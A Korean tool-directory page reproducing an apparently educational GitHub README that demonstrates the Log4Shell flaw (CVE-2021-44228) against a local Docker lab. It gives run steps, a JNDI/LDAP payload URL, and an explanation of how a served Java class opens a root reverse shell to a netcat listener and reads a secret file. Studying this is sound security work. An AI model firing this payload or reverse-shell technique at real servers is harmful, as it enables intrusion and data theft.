Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4j-vulnerability — CVE-2021-44228 취약점을 악용하는 방법을 제시합니다. | Kitploit
도구/GitHubGitHub/marceloleite2604/log4j-vulnerability
Vulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlLearning & EducationRemote Access ToolPayload DevelopmentLabs & Practice
GitHubmarceloleite2604/log4j-vulnerability

log4j-vulnerability

CVE-2021-44228 취약점을 악용하는 방법을 제시합니다.

저장소 보기
14년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

LOG4J 취약점

CVE-2021-44228 취약점을 악용하는 방법을 보여주는 Java 기반 프로젝트입니다.

https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4

요구 사항

  • Linux 기반 운영 체제: 저는 Ubuntu Desktop 20.10 64비트를 사용했습니다.
  • OpenJDK 17.0.1: 악용 프로그램을 빌드하는 데 사용합니다. 최신 버전도 작동할 수 있습니다.
  • Oracle Java Development Kit(JDK) 1.8.0_181: 악용이 동작하려면 _필수_입니다. 설치할 필요는 없지만, 프로젝트 루트 디렉터리에 압축을 푼 상태로 있어야 합니다. JDK는 Oracle Java SE 8 Archive Downloads(JDK 8u202 및 이전 버전) 페이지에서 찾을 수 있습니다.
  • Apache Maven 3.6.3: 의존성을 관리하고 jar 파일을 생성하는 데 사용합니다. 최신 버전도 작동할 수 있습니다.
  • Docker 20.10.12: 악용 대상 서비스가 포함된 컨테이너를 관리하는 데 사용합니다. 최신 버전도 작동할 수 있습니다.
  • Docker-compose 1.29.2: 이미지 생성과 컨테이너 생성, 실행, 제거를 오케스트레이션하는 데 사용합니다. 최신 버전도 작동할 수 있습니다.
  • GNU Make 4.3: 이 프로젝트는 필수 파일을 검증하고 생성하는 데 Makefile을 사용합니다. 최신 버전도 작동할 수 있습니다.
  • OpenBSD Netcat(nc): 침투한 서버와의 통신을 생성하는 데 사용합니다. 이 패키지는 Linux 배포판 패키지 관리자(예: apt)를 통해 설치할 수 있습니다.
  • (권장) IntelliJ IDEA Community Edition 2021.3.1: 이 프로젝트들의 내부 동작을 확인하고 싶다면 이 IDE를 설치하는 것을 권장합니다. 역시 최신 버전도 작동할 수 있습니다.

실행

  1. 이 저장소를 로컬 머신에 클론합니다.
  2. Oracle Java SE 8 Archive Downloads(JDK 8u202 및 이전 버전) 페이지에서 JDK를 다운로드하고 프로젝트 루트 디렉터리에 압축을 풉니다. 압축 해제 시 생성되는 jdk1.8.0_181 디렉터리에 그대로 둡니다.
  3. make all을 실행하여 모든 프로젝트를 빌드하고 취약한 서비스가 포함된 Docker 이미지를 생성합니다.
  4. 터미널 세 개를 열고 다음 명령어를 실행합니다:
    1. 첫 번째 터미널: make start-vulnerable-service로 악용 대상 서비스를 실행하는 Docker 컨테이너를 시작합니다. 서비스는 로컬 머신 포트 8080을 통해 접근할 수 있습니다.
    2. 두 번째 터미널: make start-nc로 침투한 서버와의 연결을 기다리는 TCP 리스너를 시작합니다.
    3. 세 번째 터미널: make start-exploiter로 취약점 악용을 도와줄 프로그램을 시작합니다.
  5. 세 번째 터미널을 시작하면, 악용 프로그램이 접속할 URL을 제시합니다. 이를 브라우저에 붙여넣어 악용을 시작합니다.
  6. 모든 것이 예상대로 진행되었다면, 브라우저는 응답을 받지 못하고 로딩 상태에 머물게 됩니다.
  7. 이제 두 번째 터미널(make start-nc가 실행된 터미널)을 확인합니다. Connection received on 172.24.0.2 46638 같은 메시지를 받았을 것입니다(IP 주소와 TCP 포트는 여기 제시된 것과 다를 수 있습니다). 이는 악용이 성공하여 서버/Docker 컨테이너에 셸이 연결되었음을 의미합니다.
  8. 모든 것이 예상대로 되었는지 확인하려면 whoami 명령어를 실행해 보세요. root가 출력될 수 있습니다.
  9. 이제 cat ../private-directory/my-secret-file.txt를 실행하여 어떤 일이 일어나는지 확인해 보세요. 🙂

어떻게 동작하나요?

그 질문에 답하기 전에, 전체 흐름에서 생성되는 프로세스들을 살펴보겠습니다.

log4j 취약점 프로세스

Docker 컨테이너

이 Docker 컨테이너는 /log 경로에서 input 매개변수를 포함한 GET 요청을 수신하는 간단한 HTTP 서비스를 제공합니다. 요청을 수신하면 입력값을 콘솔에 기록합니다.

https://user-images.githubusercontent.com/13152452/147826880-8ee10391-bcb7-46d3-8d69-2f7ddb4a7b37.mp4

취약점을 악용하려면 몇 가지 특정 구성이 필요합니다:

  • 서비스를 실행하는 데 사용되는 JRE(Java 런타임 환경) 버전은 1.8.0_181입니다. 이는 외부 서비스에서 Java 클래스를 로드할 수 있도록 하는 데 필요합니다.
  • Java 프로젝트 의존성을 대폭 수정하여 기본 spring-boot-starter-logging:2.6.1을 spring-boot-starter-log4j2:2.6.1로 교체해야 합니다. 후자는 프로젝트에 log4j-core:2.14.1을 가져오며, 이는 CVE-2021-44228에 취약한 버전입니다.

의존성 트리

  • 서비스 Jar 파일은 Java 컴파일러 버전 1.8.0_181로 생성되었습니다.

Netcat(nc) 프로그램

여기에는 특별한 설명이나 조정이 없습니다. TCP 및 UDP 프로토콜을 통해 데이터를 읽고 쓰는 데 사용되는 간단한 프로그램입니다. 포트 9001에서 들어오는 TCP 연결을 계속 수신하는 데 사용할 것입니다(다른 무언가가 서버 쪽에서 우리를 위해 이 연결을 열어줄 것입니다. 😉).

연결이 수립되면 들어오는 모든 데이터가 콘솔에 출력됩니다. 또한 입력된 모든 내용은 이 연결을 통해 전송됩니다.

악용 프로그램

이제부터가 진짜 재미있는 부분입니다!

이 프로그램은 취약점을 악용하는 데 필요한 여러 단계를 캡슐화합니다. 하나씩 살펴보겠습니다:

실행 인자

이 프로그램을 실행하려면 세 가지 매개변수를 지정해야 합니다:

  1. HTTP 서버 및 Netcat IP 주소/호스트: 취약점을 악용하려면 취약한 서비스 기준의 HTTP 서버 IP 주소가 필요합니다. 그래야 LDAP 응답이 해당 서비스를 리디렉션하여 컴파일된 Java 클래스를 다운로드하게 할 수 있습니다. 이 IP는 Java 클래스 자체가 Netcat과 TCP 연결을 여는 데에도 사용됩니다(위에서 설명됨).
  2. HTTP 서버 포트: 컴파일된 Java 클래스를 보내는 HTTP 서버가 연결을 수락하는 포트입니다. 이 포트는 컴파일된 Java 클래스가 다운로드될 위치를 알려주기 위해 LDAP 응답과 함께 전송됩니다.
  3. Netcat 포트: Netcat이 연결을 수신하는 포트입니다. 컴파일된 Java 클래스가 Netcat과 TCP 연결을 여는 데 사용됩니다.

악용 Java 클래스

프로그램이 시작되면 템플릿을 기반으로 Java 코드를 작성합니다. 이 템플릿에는 Netcat IP 주소와 포트라는 두 가지 인자가 필요합니다.

코드가 작성되면 프로그램은 Java 컴파일러(javac) 버전 1.8.0_181을 사용하여 이를 바이너리 클래스 파일로 컴파일합니다. 이는 악용 대상 서비스와 동일한 코드 버전을 유지하는 데 중요합니다.

Exploit Java 클래스는 비교적 단순한 구조를 가지고 있습니다. 생성자에는 운영 체제에 셸 프로그램 생성을 요청하는 명령이 있습니다. 셸이 생성되면 클래스는 Netcat과 TCP 연결을 열고, 셸과 TCP 연결의 입력 및 출력을 바인딩한 다음, Netcat이 연결을 닫을 때까지 Java 가상 머신 실행을 루프에 가둡니다. 루프가 종료되면 생성자는 아무 일도 없었던 것처럼 계속 진행됩니다.

Marshalsec 프로그램

악용 프로그램은 Marshalsec Java 프로그램을 실행하도록 서브프로세스를 엽니다. Marshalsec 프로그램은 mbechler/marchalsec GitHub 프로젝트에서 확인할 수 있습니다.

다른 기능과 함께 LDAP 요청을 관리하며, 들어오는 연결에 외부 소스에서 Java 클래스를 다운로드하여 요청을 해결하도록 요청하는 데 사용할 수 있습니다. 우리의 경우, 들어오는 연결에 HTTP 서비스에서 우리의 Exploit Java 클래스를 다운로드하도록 요청하는 데 사용할 것입니다.

HTTP 서비스

악용 프로그램이 조작된 Java 클래스를 생성하면, 단일 응답을 제공하는 HTTP 서비스를 시작합니다: Exploit 바이너리 Java 클래스입니다.

간단히 말하면, 취약한 서비스가 외부 클래스 로드를 요청하면, 이 서비스는 Java 클래스 바이너리 파일을 읽어 취약한 서비스에 다시 보내줍니다. 그게 전부입니다!

모든 것을 지배하는 하나의 HTTP 요청

모든 것이 준비되어 실행되면, 프로그램은 악용을 트리거하는 데 필요한 HTTP 요청을 출력합니다. 그냥 복사하여 즐겨 사용하는 브라우저에 붙여넣거나 터미널에서 curl로 실행하면 됩니다. 가장 편한 방법을 선택하세요!

요청은 다음과 비슷할 것입니다:

root@kitploit:~
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D

쿼리 매개변수에는 특수 문자가 포함되어 있으므로 브라우저가 이를 수용할 수 있도록 인코딩되어야 합니다. 이를 디코딩하면 메시지는 다음과 같습니다:

root@kitploit:~
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}

통신 흐름

요청이 전송된 후 일어나는 일을 간략히 나타낸 다이어그램입니다:

log4j 취약점 통신 흐름

이 다이어그램을 사용하여 그다음에 일어나는 일을 설명하겠습니다:

  • 브라우저가 취약한 서비스에 HTTP 요청을 보냅니다.
  • 취약한 서비스가 요청을 수락하고 사용자 입력값을 기록합니다.
  • log4j가 메시지를 수신하면 해석해야 할 콘텐츠가 있음을 감지합니다: ${jndi:ldap://host.docker.internal:1389/a}.
  • 값에 따라, 표시할 콘텐츠는 a 키를 사용하여 host.docker.internal:1389에서 LDAP 프로토콜을 통해 검색되어야 합니다(별로 대단치 않고 유효하지 않은 LDAP distinguished name이지만, 뭐, 작동만 하면 되니까요...). 그러면 log4j는 값을 검색하기 위해 이 주소로 요청을 보냅니다.

참고: host.docker.internal은 Docker 서비스가 실행 중인 물리적 머신에 도달하기 위한 유효한 주소입니다.

  • 그러면 Marshalsec 프로그램(로컬 포트 1389에서 실행 중)이 들어오는 요청을 수락하고, 취약한 서비스에 요청을 해결하기 위해 host.docker.internal:8000에 있는 Exploit이라는 이름의 Java 클래스 파일을 다운로드하도록 요청합니다.
  • 그런 다음 log4j는 /Exploit 경로에 있는 리소스를 얻기 위해 host.docker.internal:8000으로 요청을 보냅니다.
  • 그러면 HTTP 서비스(로컬 포트 8000에서 실행 중)가 Exploit 바이너리 Java 클래스를 보내며 요청에 응답합니다.
  • 그런 다음 log4j는 Exploit() 생성자 메서드를 실행하여 변수를 해결하기 위해 클래스를 인스턴스화하려고 시도합니다.
  • Exploit() 생성자 메서드는 서버에서 셸 프로그램을 시작하고 host.docker.internal:9001과 TCP 채널을 열도록 요청합니다.
  • 그러면 Netcat(로컬 포트 9001에서 실행 중)이 들어오는 TCP 연결을 수락합니다.
  • 그런 다음 Exploit() 생성자 메서드는 셸 입력 및 출력을 TCP 연결과 바인딩하고, TCP 연결이 상대방에 의해 닫힐 때까지 Java Virtual Machine 스레드를 루프에 가둡니다.
  • 이제 Netcat을 사용하여 셸 명령을 보내고 서버에서 출력을 받을 수 있습니다.

고려 사항

TBD

참고 자료

kozmer/log4j-shell-poc GitHub 프로젝트 - 악용이 어떻게 동작하는지 이해하는 데 도움이 되었습니다. 이 프로젝트에 기여한 모든 분들께 감사드립니다!

mbechler/marchalsec GitHub 프로젝트 - 이 프로젝트가 없었다면 LDAP 통신 및 리디렉션을 이렇게 빨리 처리할 수 없었을 것입니다. 감사합니다!

SrcCodes Log4j 취약점 동영상 - Spring 기반 프로그램에서 악용을 시작하는 방법을 잘 설명해 주는 동영상입니다.

Nowcomm CVE-2021-44228 악용 데모 동영상 - Apache Solr에서 CVE-2021-44228을 악용하는 방법을 설명하는 좋은 동영상입니다. 실제로 무슨 일이 일어나는지 이해하려고 후반부를 수십 번 봐야 했습니다! 😛

도구 다운로드
  • 서버에서 이것저것 만져본 후에는 CTRL+C를 눌러 연결을 종료합니다.
  • 다른 터미널에서도 CTRL+C를 눌러 프로세스를 중단할 수 있습니다.